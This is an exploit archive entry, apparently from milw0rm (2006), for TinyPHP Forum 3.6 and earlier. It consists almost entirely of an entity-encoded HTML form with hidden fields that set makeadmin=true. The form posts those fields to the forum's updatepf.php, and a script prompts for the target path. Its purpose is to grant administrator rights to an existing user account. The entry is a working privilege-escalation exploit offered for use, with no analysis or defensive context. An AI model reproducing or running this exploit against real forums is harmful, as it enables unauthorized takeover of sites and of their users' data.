TinyPHP Forum <= 3.6 (makeadmin) Remote Admin Maker Exploit

TinyPHPForum 3.6 Admin Maker&#60;br&#62; By SirDarckCat from elhacker.net &#60;FORM method=post enctype=&#34;multipart/form-data&#34;&#62; Existing User:&#60;INPUT name=uname&#62;&#60;br&#62; &#60;INPUT type=file name=userfile style=&#34;visibility:HIDDEN&#34;&#62;&#60;br&#62; &#60;INPUT type=hidden name=email value=&#34;a@b.c&#34;&#62; &#60;input type=hidden name=makeadmin value=true&#62; &#60;input type=hidden name=stat value=true&#62; &#60;input type=hidden name=ulang value=en&#62; &#60;input type=hidden name=uskin value=default&#62; &#60;INPUT type=submit&#62; &#60;/FORM&#62; &#60;script language=&#34;JavaScript&#34;&#62; document.forms[0].action=prompt(&#34;Path to forum&#34;,&#34;http://www.server.com/tpf/&#34;)+&#34;updatepf.php&#34;; &#60;/script&#62; # milw0rm.com [2006-08-02]